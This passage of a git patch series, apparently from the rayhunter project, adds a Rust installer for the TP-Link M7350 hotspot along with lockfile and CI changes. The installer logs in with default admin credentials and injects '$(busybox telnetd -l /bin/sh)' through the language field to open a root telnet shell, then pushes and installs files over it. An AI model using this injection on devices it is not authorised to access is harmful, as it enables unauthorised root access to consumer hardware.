"32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf16_iter" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + [[package]] name = "utf8parse" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + [[package]] name = "version_check" version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -1838,34 +2421,48 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" dependencies = [ "cfg-if", + "once_cell", + "rustversion", "wasm-bindgen-macro", ] [[package]] name = "wasm-bindgen-backend" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" dependencies = [ "bumpalo", "log", - "once_cell", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", "wasm-bindgen-shared", ] +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" +dependencies = [ + "cfg-if", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + [[package]] name = "wasm-bindgen-macro" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -1873,22 +2470,35 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" +checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" +dependencies = [ + "js-sys", + "wasm-bindgen", +] [[package]] name = "weezl" @@ -1936,6 +2546,41 @@ dependencies = [ "windows-targets 0.52.3", ] +[[package]] +name = "windows-link" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38" + +[[package]] +name = "windows-registry" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4286ad90ddb45071efd1a66dfa43eb02dd0dfbae1545ad6cc3c51cf34d7e8ba3" +dependencies = [ + "windows-result", + "windows-strings", + "windows-targets 0.53.0", +] + +[[package]] +name = "windows-result" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c64fd11a4fd95df68efcfee5f44a294fe71b8bc6a91993e2791938abcc712252" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87fa48cc5d406560701792be122a10132491cff9d0aeb23583cc2dcafc847319" +dependencies = [ + "windows-link", +] + [[package]] name = "windows-sys" version = "0.48.0" @@ -1984,6 +2629,22 @@ dependencies = [ "windows_x86_64_msvc 0.52.3", ] +[[package]] +name = "windows-targets" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e4c7e8ceaaf9cb7d7507c974735728ab453b67ef8f18febdd7c11fe59dca8b" +dependencies = [ + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" @@ -1996,6 +2657,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + [[package]] name = "windows_aarch64_msvc" version = "0.48.5" @@ -2008,6 +2675,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + [[package]] name = "windows_i686_gnu" version = "0.48.5" @@ -2020,6 +2693,18 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + [[package]] name = "windows_i686_msvc" version = "0.48.5" @@ -2032,6 +2717,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + [[package]] name = "windows_x86_64_gnu" version = "0.48.5" @@ -2044,6 +2735,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" @@ -2056,6 +2753,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + [[package]] name = "windows_x86_64_msvc" version = "0.48.5" @@ -2068,6 +2771,12 @@ version = "0.52.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + [[package]] name = "winnow" version = "0.7.7" @@ -2077,6 +2786,18 @@ dependencies = [ "memchr", ] +[[package]] +name = "write16" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936" + +[[package]] +name = "writeable" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51" + [[package]] name = "wyz" version = "0.5.1" @@ -2086,6 +2807,30 @@ dependencies = [ "tap", ] +[[package]] +name = "yoke" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "120e6aef9aa629e3d4f52dc8cc43a015c7724194c97dfaf45180d2daf2b77f40" +dependencies = [ + "serde", + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", + "synstructure", +] + [[package]] name = "zerocopy" version = "0.7.32" @@ -2103,5 +2848,54 @@ checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "zerofrom" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" + +[[package]] +name = "zerovec" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", ] diff --git a/Cargo.toml b/Cargo.toml index f078283a..776a869f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,6 @@ members = [ "bin", "serial", "rootshell", - "telcom-parser", + "telcom-parser", "installer", ] resolver = "2" diff --git a/installer/Cargo.toml b/installer/Cargo.toml new file mode 100644 index 00000000..a2477556 --- /dev/null +++ b/installer/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "installer" +version = "0.1.0" +edition = "2024" + +[dependencies] +anyhow = "1.0.98" +clap = { version = "4.5.37", features = ["derive"] } +md5 = "0.7.0" +reqwest = { version = "0.12.15", features = ["json"] } +serde = { version = "1.0.219", features = ["derive"] } +serde_json = "1.0.140" +tokio = { version = "1.44.2", features = ["full"] } diff --git a/installer/src/main.rs b/installer/src/main.rs new file mode 100644 index 00000000..01d37ff6 --- /dev/null +++ b/installer/src/main.rs @@ -0,0 +1,223 @@ +use std::net::SocketAddr; +use std::str::FromStr; +use std::time::Duration; + +use clap::{Parser, Subcommand}; +use serde::Deserialize; +use serde_json::json; +use anyhow::{Context, Error}; +use tokio::net::{TcpStream}; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::time::{sleep, timeout}; + +#[derive(Parser, Debug)] +#[command(version, about)] +struct Args { + #[command(subcommand)] + command: Command, + +} + +#[derive(Subcommand, Debug)] +enum Command { + /// Install rayhunter on the TP-Link M7350. + InstallTplink(InstallTpLink) +} + +#[derive(Parser, Debug)] +struct InstallTpLink { + /// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means + /// that if an SD card is later added, your existing installation is shadowed! + #[arg(long)] + skip_sdcard: bool, + + /// Username for TP-Link admin interface, if custom. + #[arg(long, default_value = "admin")] + username: String, + + /// Password for TP-Link admin interface, if custom. + #[arg(long, default_value = "admin")] + password: String, + + /// IP address for TP-Link admin interface, if custom. + #[arg(long, default_value = "192.168.0.1")] + admin_ip: String, +} + +#[tokio::main] +async fn main() -> Result<(), Error> { + let Args { command } = Args::parse(); + + match command { + Command::InstallTplink(tplink) => main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, + } + + Ok(()) +} + + +async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { + let InstallTpLink { skip_sdcard, username, password, admin_ip } = args; + + let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); + let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); + + #[derive(Deserialize)] + struct NonceResponse { + nonce: String + } + + let client = reqwest::Client::new(); + + let NonceResponse { nonce } = client.post(&qcmap_auth_endpoint) + .body(r#"{"module":"authenticator","action":0}"#) + .send() + .await? + .error_for_status()? + .json() + .await?; + + println!("Successfully detected TP-Link M7350 v3, nonce: {nonce}"); + + let digest_md5 = md5::compute(format!("{username}:{password}:{nonce}").as_bytes()); + + #[derive(Deserialize)] + struct TokenResponse { + token: String + } + + let TokenResponse { token } = client.post(&qcmap_auth_endpoint) + .json(&json!({ + "module": "authenticator", + "action": 1, + "digest": format!("{:x}", digest_md5) + })) + .send() + .await? + .error_for_status()? + .json() + .await?; + + println!("Got token: {token}"); + + for language in &["$(busybox telnetd -l /bin/sh)", "en"] { + println!("Setting language of device to {language}"); + client.post(&qcmap_web_cgi_endpoint) + .header("Cookie", format!("tpweb_token={token}")) + .json(&json!({ + "token": token, + "module": "webServer", + "action": 1, + "language": language + })) + .send().await? + .error_for_status()?; + } + + println!("Connecting via telnet to {admin_ip}"); + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + if !skip_sdcard { + println!("Mounting sdcard"); + telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + } + + // there is too little space on the internal flash to store anything, but the initrd script + // expects things to be at this location + telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; + telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; + + telnet_send_file(addr, "/mnt/card/config.toml", include_bytes!("../../dist/config.toml.example")).await?; + telnet_send_file(addr, "/mnt/card/rayhunter-daemon", include_bytes!("../../dist/rayhunter-daemon-tplink")).await?; + telnet_send_file(addr, "/etc/init.d/rayhunter_daemon", include_bytes!("../../dist/scripts/rayhunter_daemon")).await?; + + telnet_send_command(addr, "chmod ugo+x /mnt/card/rayhunter-daemon", "exit code 0").await?; + telnet_send_command(addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0").await?; + telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; + + println!("Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"); + + telnet_send_command(addr, "reboot", "exit code 0").await?; + + Ok(()) +} + +async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> { + println!("Sending file {filename}"); + + // remove the old file just in case we are close to disk capacity. + telnet_send_command(addr, &format!("rm {filename}"), "").await?; + + { + let filename = filename.to_owned(); + let handle = tokio::spawn(async move { + telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await + }); + + sleep(Duration::from_millis(100)).await; + + let mut addr = addr; + addr.set_port(8081); + let mut stream = TcpStream::connect(addr).await?; + stream.write_all(payload).await?; + + handle.await??; + } + + + let checksum = md5::compute(payload); + + telnet_send_command( + addr, + &format!("md5sum {filename}.tmp"), + &format!("{checksum:x} {filename}.tmp") + ).await?; + + telnet_send_command(addr, &format!("mv {filename}.tmp {filename}"), "exit code 0").await?; + + Ok(()) +} + +async fn telnet_send_command(addr: SocketAddr, command: &str, expected_output: &str) -> Result<(), Error> { + let stream = TcpStream::connect(addr).await?; + let (mut reader, mut writer) = stream.into_split(); + + loop { + let mut buf = [0]; + reader.read(&mut buf).await?; + if buf[0] == b'#' { + break + } + } + + writer.write_all(command.as_bytes()).await?; + writer.write_all(b"; echo exit code $?\r\n").await?; + + let mut read_buf = Vec::new(); + + let _ = timeout(Duration::from_secs(5), async { + let mut buf = [0; 4096]; + loop { + let Ok(bytes_read) = reader.read(&mut buf).await else { break }; + let bytes = &buf[..bytes_read]; + if bytes.is_empty() { + continue; + } + + read_buf.extend(bytes); + + if read_buf.ends_with(b"/ # ") { + break + } + } + }).await; + + let string = String::from_utf8_lossy(&read_buf); + + if !string.contains(expected_output) { + anyhow::bail!("{expected_output:?} not found in: {string}"); + } + + Ok(()) +} From 193b2fa9ddc87036c07b4add99e57d462f534380 Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Wed, 23 Apr 2025 03:01:35 +0200 Subject: [PATCH 02/14] fix up ci, build installer in actions --- .github/workflows/build-release.yml | 36 ++++++++++ installer/Cargo.toml | 3 + installer/src/main.rs | 104 ++++++++++++++++++++-------- 3 files changed, 116 insertions(+), 27 deletions(-) diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index 70be89c9..e77d83c5 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -84,6 +84,42 @@ jobs: name: rayhunter-daemon-${{ matrix.device.name }} path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon if-no-files-found: error + build_rust_installer: + needs: + - build_rayhunter + strategy: + matrix: + platform: + - name: ubuntu-24 + os: ubuntu-latest + target: x86_64-unknown-linux-musl + - name: ubuntu-24-aarch64 + os: ubuntu-24.04-arm + target: aarch64-unknown-linux-musl + - name: macos-arm + os: macos-latest + target: aarch64-apple-darwin + - name: macos-intel + os: macos-13 + target: x86_64-apple-darwin + - name: windows-x86_64 + os: windows-latest + target: x86_64-pc-windows-gnu + runs-on: ${{ matrix.platform.os }} + steps: + - uses: actions/checkout@v4 + - uses: actions/download-artifact@v4 + - uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.platform.target }} + + - run: cargo build --bin installer --release --target ${{ matrix.platform.target }} --features vendor + - uses: actions/upload-artifact@v4 + with: + name: tplink-installer-${{ matrix.platform.name }} + path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} + if-no-files-found: error + build_release_zip: needs: - build_serial_and_check diff --git a/installer/Cargo.toml b/installer/Cargo.toml index a2477556..96f16e4c 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -3,6 +3,9 @@ name = "installer" version = "0.1.0" edition = "2024" +[features] +vendor = [] + [dependencies] anyhow = "1.0.98" clap = { version = "4.5.37", features = ["derive"] } diff --git a/installer/src/main.rs b/installer/src/main.rs index 01d37ff6..d4b9227c 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -2,12 +2,12 @@ use std::net::SocketAddr; use std::str::FromStr; use std::time::Duration; +use anyhow::{Context, Error}; use clap::{Parser, Subcommand}; use serde::Deserialize; use serde_json::json; -use anyhow::{Context, Error}; -use tokio::net::{TcpStream}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpStream; use tokio::time::{sleep, timeout}; #[derive(Parser, Debug)] @@ -15,13 +15,12 @@ use tokio::time::{sleep, timeout}; struct Args { #[command(subcommand)] command: Command, - } #[derive(Subcommand, Debug)] enum Command { /// Install rayhunter on the TP-Link M7350. - InstallTplink(InstallTpLink) + InstallTplink(InstallTpLink), } #[derive(Parser, Debug)] @@ -55,21 +54,26 @@ async fn main() -> Result<(), Error> { Ok(()) } - async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { - let InstallTpLink { skip_sdcard, username, password, admin_ip } = args; + let InstallTpLink { + skip_sdcard, + username, + password, + admin_ip, + } = args; let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); #[derive(Deserialize)] struct NonceResponse { - nonce: String + nonce: String, } let client = reqwest::Client::new(); - let NonceResponse { nonce } = client.post(&qcmap_auth_endpoint) + let NonceResponse { nonce } = client + .post(&qcmap_auth_endpoint) .body(r#"{"module":"authenticator","action":0}"#) .send() .await? @@ -83,10 +87,11 @@ async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { #[derive(Deserialize)] struct TokenResponse { - token: String + token: String, } - let TokenResponse { token } = client.post(&qcmap_auth_endpoint) + let TokenResponse { token } = client + .post(&qcmap_auth_endpoint) .json(&json!({ "module": "authenticator", "action": 1, @@ -102,7 +107,8 @@ async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { for language in &["$(busybox telnetd -l /bin/sh)", "en"] { println!("Setting language of device to {language}"); - client.post(&qcmap_web_cgi_endpoint) + client + .post(&qcmap_web_cgi_endpoint) .header("Cookie", format!("tpweb_token={token}")) .json(&json!({ "token": token, @@ -110,7 +116,8 @@ async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { "action": 1, "language": language })) - .send().await? + .send() + .await? .error_for_status()?; } @@ -128,15 +135,46 @@ async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; - telnet_send_file(addr, "/mnt/card/config.toml", include_bytes!("../../dist/config.toml.example")).await?; - telnet_send_file(addr, "/mnt/card/rayhunter-daemon", include_bytes!("../../dist/rayhunter-daemon-tplink")).await?; - telnet_send_file(addr, "/etc/init.d/rayhunter_daemon", include_bytes!("../../dist/scripts/rayhunter_daemon")).await?; + telnet_send_file( + addr, + "/mnt/card/config.toml", + include_bytes!("../../dist/config.toml.example"), + ) + .await?; + + #[cfg(feature = "vendor")] + let rayhunter_daemon_bin = + include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon-tplink"); + + #[cfg(not(feature = "vendor"))] + let rayhunter_daemon_bin = + &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?; + + telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?; + telnet_send_file( + addr, + "/etc/init.d/rayhunter_daemon", + include_bytes!("../../dist/scripts/rayhunter_daemon"), + ) + .await?; - telnet_send_command(addr, "chmod ugo+x /mnt/card/rayhunter-daemon", "exit code 0").await?; - telnet_send_command(addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0").await?; + telnet_send_command( + addr, + "chmod ugo+x /mnt/card/rayhunter-daemon", + "exit code 0", + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/rayhunter_daemon", + "exit code 0", + ) + .await?; telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; - println!("Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"); + println!( + "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" + ); telnet_send_command(addr, "reboot", "exit code 0").await?; @@ -165,21 +203,30 @@ async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> R handle.await??; } - let checksum = md5::compute(payload); telnet_send_command( addr, &format!("md5sum {filename}.tmp"), - &format!("{checksum:x} {filename}.tmp") - ).await?; + &format!("{checksum:x} {filename}.tmp"), + ) + .await?; - telnet_send_command(addr, &format!("mv {filename}.tmp {filename}"), "exit code 0").await?; + telnet_send_command( + addr, + &format!("mv {filename}.tmp {filename}"), + "exit code 0", + ) + .await?; Ok(()) } -async fn telnet_send_command(addr: SocketAddr, command: &str, expected_output: &str) -> Result<(), Error> { +async fn telnet_send_command( + addr: SocketAddr, + command: &str, + expected_output: &str, +) -> Result<(), Error> { let stream = TcpStream::connect(addr).await?; let (mut reader, mut writer) = stream.into_split(); @@ -187,7 +234,7 @@ async fn telnet_send_command(addr: SocketAddr, command: &str, expected_output: & let mut buf = [0]; reader.read(&mut buf).await?; if buf[0] == b'#' { - break + break; } } @@ -199,7 +246,9 @@ async fn telnet_send_command(addr: SocketAddr, command: &str, expected_output: & let _ = timeout(Duration::from_secs(5), async { let mut buf = [0; 4096]; loop { - let Ok(bytes_read) = reader.read(&mut buf).await else { break }; + let Ok(bytes_read) = reader.read(&mut buf).await else { + break; + }; let bytes = &buf[..bytes_read]; if bytes.is_empty() { continue; @@ -208,10 +257,11 @@ async fn telnet_send_command(addr: SocketAddr, command: &str, expected_output: & read_buf.extend(bytes); if read_buf.ends_with(b"/ # ") { - break + break; } } - }).await; + }) + .await; let string = String::from_utf8_lossy(&read_buf); From e94ecf419afd2ea6ea67fd69cfe18d43da65109c Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Wed, 23 Apr 2025 03:14:27 +0200 Subject: [PATCH 03/14] remove default features from hyper --- Cargo.lock | 314 ------------------------------------------- installer/Cargo.toml | 2 +- 2 files changed, 1 insertion(+), 315 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index f09e53db..a3f4488a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -549,15 +549,6 @@ dependencies = [ "syn 2.0.100", ] -[[package]] -name = "encoding_rs" -version = "0.8.35" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" -dependencies = [ - "cfg-if", -] - [[package]] name = "env_logger" version = "0.10.2" @@ -618,21 +609,6 @@ version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" -[[package]] -name = "foreign-types" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" -dependencies = [ - "foreign-types-shared", -] - -[[package]] -name = "foreign-types-shared" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" - [[package]] name = "form_urlencoded" version = "1.2.1" @@ -737,17 +713,6 @@ dependencies = [ "slab", ] -[[package]] -name = "getrandom" -version = "0.2.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" -dependencies = [ - "cfg-if", - "libc", - "wasi", -] - [[package]] name = "gif" version = "0.13.1" @@ -764,25 +729,6 @@ version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" -[[package]] -name = "h2" -version = "0.4.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75249d144030531f8dee69fe9cea04d3edf809a017ae445e2abdff6629e86633" -dependencies = [ - "atomic-waker", - "bytes", - "fnv", - "futures-core", - "futures-sink", - "http", - "indexmap", - "slab", - "tokio", - "tokio-util", - "tracing", -] - [[package]] name = "hashbrown" version = "0.14.3" @@ -878,7 +824,6 @@ dependencies = [ "bytes", "futures-channel", "futures-util", - "h2", "http", "http-body", "httparse", @@ -890,39 +835,6 @@ dependencies = [ "want", ] -[[package]] -name = "hyper-rustls" -version = "0.27.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d191583f3da1305256f22463b9bb0471acad48a4e534a5218b9963e9c1f59b2" -dependencies = [ - "futures-util", - "http", - "hyper", - 